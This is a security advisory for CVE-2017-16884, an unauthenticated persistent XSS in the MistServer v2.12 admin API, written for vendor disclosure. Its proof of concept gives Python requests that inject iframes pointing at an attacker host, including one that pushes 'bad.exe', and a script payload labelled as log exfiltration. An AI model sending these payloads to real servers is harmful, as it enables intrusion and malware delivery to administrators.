[+] Credits: John Page (aka Hyp3rlinX) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MIST-SERVER-v2.12-UNAUTHENTICATED-PERSISTENT-XSS-CVE-2017-16884.txt [+] ISR: ApparitionSec Vendor: ============= mistserver.org Product: =========== MistServer v2.12 MistServer is a full-featured, next-generation streaming media toolkit for OTT (internet streaming). Vulnerability Type: =================== Unauthenticated Persistent XSS CVE Reference: ============== CVE-2017-16884 Security Issue: ================ Unauthenticated remote attackers can inject persistent XSS payloads by making failed HTTP authentication requests. Attacker supplied payloads will get stored in the server logs as failed authentication requests alerts. Mistserver echoes back the unsanitized payloads in Mist Servers Web interface automatically due to automatic refresh of the UI every few seconds, thereby, executing arbitrary attacker supplied code. References: ============ https://news.mistserver.org/news/78/Stable+release+2.13+now+available%21 Exploit/POC: ============= import requests #INJECT IFRAME requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP\'></iframe>"}}') #PUSH MALWARE requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP/bad.exe\'></iframe>"}}') #EXFIL LOGS requests.get('http://VICTIM-IP:4242/admin/api?command={"authorize":{"password":"666","username":"<script>alert(document.body.innerHTML)</script>"}}') Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: October 19, 2017 Vendor Acknowledgement : October 20, 2017 Vendor Released Fix : November 30, 2017 December 1, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx